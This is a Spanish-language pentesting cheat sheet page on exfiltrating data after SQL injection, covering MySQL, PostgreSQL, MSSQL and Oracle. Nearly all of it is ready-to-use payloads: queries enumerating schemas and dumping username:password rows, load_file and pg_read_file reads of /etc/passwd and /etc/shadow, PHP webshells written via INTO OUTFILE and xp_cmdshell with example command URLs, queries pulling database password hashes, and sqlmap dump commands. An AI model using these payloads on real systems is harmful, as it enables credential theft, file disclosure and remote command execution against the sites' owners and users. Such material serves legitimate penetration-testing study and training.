exfiltracion-de-datos
Exfiltración de Datos
Section titled “Exfiltración de Datos”Una vez confirmada y explotada la inyección, el siguiente paso es extraer la información relevante: credenciales, datos sensibles, archivos del sistema, o estructuras de la base de datos completa.
Flujo de exfiltración
Section titled “Flujo de exfiltración”1. Identificar DBMS y versión2. Obtener base de datos actual3. Enumerar bases de datos disponibles4. Enumerar tablas de la BD objetivo5. Enumerar columnas de las tablas interesantes6. Extraer datos7. (Opcional) Leer/escribir archivos del sistema1. Fingerprinting del DBMS
Section titled “1. Fingerprinting del DBMS”-- MySQL@@version → 8.0.32-MySQL Community Server@@global.version_compile_os → Linuxversion()
-- PostgreSQLversion() → PostgreSQL 14.5 on x86_64-linux
-- MSSQL@@version → Microsoft SQL Server 2019@@servernamedb_name()
-- OracleSELECT banner FROM v$version WHERE rownum=1SELECT * FROM v$version2. Enumerar bases de datos
Section titled “2. Enumerar bases de datos”-- MySQL / PostgreSQL / MSSQLSELECT schema_name FROM information_schema.schemataSELECT group_concat(schema_name) FROM information_schema.schemata -- todo en uno (MySQL)
-- MySQL directoSHOW DATABASES;
-- OracleSELECT DISTINCT owner FROM all_tablesSELECT ora_database_name FROM dual
-- MSSQLSELECT name FROM master..sysdatabasesSELECT name FROM sys.databases3. Enumerar tablas
Section titled “3. Enumerar tablas”-- MySQL / PostgreSQL / MSSQLSELECT table_name FROM information_schema.tables WHERE table_schema = 'target_db'SELECT table_name FROM information_schema.tables WHERE table_schema = database()
-- Varias tablas de golpe (MySQL)SELECT group_concat(table_name ORDER BY table_name) FROM information_schema.tables WHERE table_schema=database()
-- OracleSELECT table_name FROM all_tables WHERE owner = 'TARGET_SCHEMA'SELECT table_name FROM user_tables
-- MSSQLSELECT name FROM sysobjects WHERE type='U'SELECT name FROM sys.tablesUSE target_db; SELECT name FROM sys.tables
-- PostgreSQLSELECT tablename FROM pg_tables WHERE schemaname='public'4. Enumerar columnas
Section titled “4. Enumerar columnas”-- MySQL / PostgreSQL / MSSQLSELECT column_name, data_type FROM information_schema.columns WHERE table_name = 'users'SELECT column_name FROM information_schema.columns WHERE table_name = 'users' AND table_schema = database()
-- OracleSELECT column_name, data_type FROM all_tab_columns WHERE table_name = 'USERS'
-- MSSQLSELECT name FROM sys.columns WHERE object_id = OBJECT_ID('users')SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users'5. Extraer datos
Section titled “5. Extraer datos”Extracción básica fila a fila
Section titled “Extracción básica fila a fila”-- MySQL — LIMIT para paginarSELECT username, password FROM users LIMIT 0,1SELECT username, password FROM users LIMIT 1,1SELECT username, password FROM users LIMIT 2,1
-- MSSQL — TOP + NOT IN para paginarSELECT TOP 1 username FROM usersSELECT TOP 1 username FROM users WHERE username NOT IN (SELECT TOP 1 username FROM users)SELECT TOP 1 username FROM users WHERE username NOT IN (SELECT TOP 2 username FROM users)
-- Oracle — ROWNUMSELECT username FROM users WHERE ROWNUM=1SELECT username FROM users WHERE ROWNUM=1 AND username NOT IN (SELECT username FROM users WHERE ROWNUM=1)
-- PostgreSQLSELECT username FROM users LIMIT 1 OFFSET 0SELECT username FROM users LIMIT 1 OFFSET 1Extraer múltiples filas en una sola consulta
Section titled “Extraer múltiples filas en una sola consulta”-- MySQLSELECT group_concat(username, ':', password SEPARATOR '\n') FROM users
-- PostgreSQLSELECT string_agg(username || ':' || password, chr(10)) FROM users
-- MSSQLSELECT STRING_AGG(username + ':' + password, CHAR(10)) FROM users
-- Oracle (XML trick para concatenar)SELECT listagg(username || ':' || password, ',') WITHIN GROUP (ORDER BY username) FROM users6. Leer archivos del sistema
Section titled “6. Leer archivos del sistema”MySQL — load_file()
Section titled “MySQL — load_file()”-- Requiere: FILE privilege + secure_file_priv vacío o path permitidoSELECT load_file('/etc/passwd')SELECT load_file('/etc/shadow')SELECT load_file('C:\\Windows\\win.ini')SELECT load_file('C:\\inetpub\\wwwroot\\web.config')SELECT load_file('/var/www/html/config.php')
-- Integrado en Union-Based' UNION SELECT NULL, load_file('/etc/passwd'), NULL -- -
-- Integrado en Error-Based' AND extractvalue(1,concat(0x7e,(SELECT load_file('/etc/passwd')))) -- -MSSQL - BULK INSERT / OPENROWSET
Section titled “MSSQL - BULK INSERT / OPENROWSET”-- Leer archivo via BULK INSERTCREATE TABLE #tmp (content varchar(8000));BULK INSERT #tmp FROM 'C:\Windows\win.ini' WITH (ROWTERMINATOR = '\n');SELECT * FROM #tmp;
-- OPENROWSETSELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_CLOB) AS tPostgreSQL - pg_read_file()
Section titled “PostgreSQL - pg_read_file()”-- Solo superuserSELECT pg_read_file('/etc/passwd', 0, 100000)SELECT pg_ls_dir('/etc')7. Escribir archivos (webshell)
Section titled “7. Escribir archivos (webshell)”MySQL - INTO OUTFILE / DUMPFILE
Section titled “MySQL - INTO OUTFILE / DUMPFILE”-- Requiere FILE privilege + ruta dentro de secure_file_priv o en wwwroot
-- Webshell PHPSELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'SELECT '<?php system($_GET["cmd"]); ?>' INTO DUMPFILE '/var/www/html/shell.php'
-- Integrado en UNION' UNION SELECT NULL,'<?php system($_GET["cmd"]); ?>',NULL INTO OUTFILE '/var/www/html/cmd.php' -- -
-- Uso del webshellhttps://target.com/cmd.php?cmd=idhttps://target.com/cmd.php?cmd=whoamihttps://target.com/cmd.php?cmd=cat+/etc/passwdMSSQL - xp_cmdshell
Section titled “MSSQL - xp_cmdshell”-- Escribir webshell via xp_cmdshell + echoEXEC xp_cmdshell 'echo ^<?php system($_GET["cmd"]); ?^> > C:\inetpub\wwwroot\shell.php'EXEC xp_cmdshell 'powershell -c "''<?php system($_GET[chr(99)+chr(109)+chr(100)]); ?>'' | Out-File C:\inetpub\wwwroot\shell.php"'8. Usuarios y privilegios de la base de datos
Section titled “8. Usuarios y privilegios de la base de datos”-- MySQLSELECT user, host, authentication_string FROM mysql.userSELECT user() -- usuario actualSELECT current_user()SHOW GRANTS FOR 'user'@'host'
-- PostgreSQLSELECT usename, passwd FROM pg_shadow -- requiere superuserSELECT current_userSELECT rolname, rolsuper FROM pg_roles
-- MSSQLSELECT name, password_hash FROM sys.sql_loginsSELECT system_userSELECT IS_SRVROLEMEMBER('sysadmin') -- verificar si es admin
-- OracleSELECT username, password FROM dba_users -- requiere DBASELECT * FROM session_privsSELECT * FROM user_sys_privsSiempre verificar primero qué privilegios tiene el usuario de la DB. El usuario
www-dataconectado a MySQL raramente tiene FILE privilege.
Buscar tablas con nombres como:
users,admin,accounts,credentials,config,settings,tokens,sessions.
En MySQL con
group_concat, el límite por defecto es 1024 caracteres. Si los datos se cortan, usarLIMIT/OFFSETpara paginar o filtrar.
Para exfiltración masiva, sqlmap con
--dumpy-T userses mucho más eficiente que hacerlo manualmente.
# Dump completo de una tabla con sqlmapsqlmap -u "https://target.com/item?id=1" -D target_db -T users --dump
# Dump de toda la base de datossqlmap -u "https://target.com/item?id=1" -D target_db --dump-all